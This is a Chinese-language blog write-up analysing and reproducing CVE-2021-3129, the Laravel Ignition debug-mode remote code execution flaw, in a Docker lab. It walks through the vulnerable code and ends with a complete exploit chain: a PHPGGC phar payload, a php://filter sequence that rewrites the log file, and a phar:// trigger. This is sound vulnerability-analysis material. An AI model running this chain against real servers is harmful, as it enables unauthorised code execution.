Laravel Debug模式 RCE漏洞(CVE-2021-3129)分析復現


復現環境

PHP版本:7.4.15
Laravel版本:8.4.2
Ignition版本:2.5.1
如果環境不好尋找可以直接使用vulhub提供的復現環境:docker pull vulhub/laravel:8.4.2 && docker run -itd -p 80:80 vulhub/laravel:8.4.2

簡要分析

Laravel是一個由Taylor Otwell所創建,免費的開源 PHP Web 框架。在開發模式下,Laravel使用了Ignition提供的錯誤頁面,在Ignition 2.5.1及之前的版本中,有類似這樣的代碼:

$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

攻擊者可以通過phar://協議來執行Phar反序列化操作,進而執行任意代碼。

代碼審計

首先定位到漏洞的直接利用點——可以調用含漏洞類MakeViewVariableOptionalSolution的solution控制器中,在vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php中讀到:

<?php

namespace Facade\Ignition\Http\Controllers;

use Facade\Ignition\Http\Requests\ExecuteSolutionRequest;
use Facade\IgnitionContracts\SolutionProviderRepository;
use Illuminate\Foundation\Validation\ValidatesRequests;

class ExecuteSolutionController
{
    use ValidatesRequests;

    public function __invoke(
        ExecuteSolutionRequest $request,
        SolutionProviderRepository $solutionProviderRepository
    ) {
        $solution = $request->getRunnableSolution();

        $solution->run($request->get('parameters', []));

        return response('');
    }
}

這里有一個__invoke魔術方法,並且會將get('parameters', [])獲得的參數值傳遞進run()方法中,之后再跟進run()方法。
可以在vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php65行附近看到關於run()的定義:

    public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

可以看到這里存在一個file_put_contents()函數,調用該函數的前提是$output !== false,同時寫入內容也是$output,而$output的值又受makeOptional()方法的控制,跟進該方法,在同文件73行可以找到:

    public function makeOptional(array $parameters = [])
    {
        $originalContents = file_get_contents($parameters['viewFile']);
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
        //先替換$variableName為$variableName ?? '',再寫入文件
        $originalTokens = token_get_all(Blade::compileString($originalContents));
        $newTokens = token_get_all(Blade::compileString($newContents));

        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

        if ($expectedTokens !== $newTokens) {
            return false;
        }

        return $newContents;
    }

    protected function generateExpectedTokens(array $originalTokens, string $variableName): array
    {
        $expectedTokens = [];
        foreach ($originalTokens as $token) {
            $expectedTokens[] = $token;
            if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_COALESCE, '??', $token[2]];
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
            }
        }

        return $expectedTokens;
    }

重點在於

$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

這行代碼含義為:先替換$variableName為$variableName ?? '',再將傳遞的內容寫入文件,如果寫入過程沒有出現異常(參考generateExpectedTokens()中的$expectedTokens變量),文件內容將被覆蓋為新的內容(覆蓋是由於file_put_contents()的寫入性質),否則makeOptional()將返回False,並且不會寫入文件。
同時可以注意到,我們在這里通過傳參可控的變量有viewFilevariableName,對這里的兩個參數最終用途進行簡化,我們可以看到兩個參數的最終作用效果如下:

$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

但是實際上這里相當於將$parameters['viewFile']的值又一次寫入了$parameters['viewFile'],看上去並沒有任何作用。
這個時候就引出了我很感興趣的一種利用方式:利用框架本身的log日志文件(/storage/logs/laravel.log)來觸發Phar反序列化,從而使這兩行代碼存在了利用的價值。
先決條件在於這里的file_get_contents()可以觸發phar反序列化,同時file_put_contents()的寫入功能確保了可以寫入phar包內容來進行反序列化,進而達到RCE的目的。
因而我們可以通過尋找Laravel中可以用於執行命令的pop鏈來實現RCE,通過PHPGGC我們可以找到框架中可以RCE的類:
php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output
但是僅此仍然不夠,log文件寫入時會拼接如時間、路徑等多余的字符串,像是這樣:

[2021-01-14 04:32:43] local.ERROR: file_get_contents(AA): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(AA): failed to open stream: No such file or directory at /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', '/Applications/M...', 75, Array)
#1 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents('AA')
#2 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->makeOptional(Array)
#3 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->run(Array)
#4 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController->__invoke(Object(Facade\\Ignition\\Http\\Requests\\ExecuteSolutionRequest), Object(Facade\\Ignition\\SolutionProviders\\SolutionProviderRepository))
#5 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/Route.php(254): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController), '__invoke')
#6 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/Route.php(197): Illuminate\\Routing\\Route->runController()
...
#34 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#35 /Applications/MxSrvs/www/laravel/public/index.php(52): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#36 /Applications/MxSrvs/www/laravel/server.php(21): require_once('/Applications/M...')
#37 {main}
"}

而Phar包是二進制文件,對其文件格式有着嚴格的要求,直接寫入並包含log日志會導致phar包格式非法,從而無法觸發反序列化。
漏洞作者提出了利用php://filter協議的過濾器來對文件內容進行編碼,利用編碼非法字符導致返回空值的特性來清除掉非法字符。
首先受啟於P牛的談一談php://filter的妙用,我們可以多次convert.base64-decode編碼來清除掉多余字符,得益於convert.base64-decode 過濾器會將一些非base64字符給過濾掉后再進行 decode
但是用在此處的弊端也顯而易見,首先我們不清楚清除所有多余字符需要編碼的次數,不同於繞過死亡exit時只需將exit部分代碼解碼為亂碼,在這里我們的利用條件是需要清除字符,其次如果使用base64-decode過濾器過濾中間包含=的字符串,PHP 將產生錯誤並且不返回任何內容。
因而我們需要轉向使用其他的過濾器來進行編碼解碼,這里作者提出使用convert.iconv.utf-8.utf-16be來將UTF-8的編碼轉換為UTF-16編碼,從而使文件的原內容出現亂碼,同時這里也會帶來一個新的問題——出現空字節內容,使file_get_contents()拋出一個Warning,不過我們可以再使用convert.quoted-printable-decode過濾器來解碼不可見字符,只需要我們使用=00來表示空字節內容再次傳入即可。
因而我們可以構造出清空並寫入Payload的exp:

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=FILE

前面兩個過濾器用於寫入和產生非法字符,而base64過濾器再清除掉非法字符,而我們只需要對Payload內容進行對應的編碼即可完成寫入。

漏洞利用

1.創建一個 PHPGGC 負載並對其進行編碼:

php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g'

2.清空日志內容:

POST發送

viewFile: php://filter/read=consumed/resource=/path/to/storage/logs/laravel.log

3.創建第一條日志內容,用於編碼對齊:

viewFile: AA

4.創建Payload寫入日志:

palyoad為第一步獲取到的內容

viewFile: <PAYLOAD>

5.使用過濾器將日志轉換為有效的Phar包:

清空其余字符並將payload解碼為原內容,注意log日志路徑可能需要修改

viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=./storage/logs/laravel.log

6.觸發Phar反序列化:

viewFile: phar://./storage/logs/laravel.log

至此便完成了一次Phar反序列化到RCE的攻擊過程,其中的許多思路都值得借鑒學習。

參考鏈接

Laravel <= v8.4.2 debug mode: Remote code execution
Laravel Debug頁面RCE(CVE-2021-3129)分析復現


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM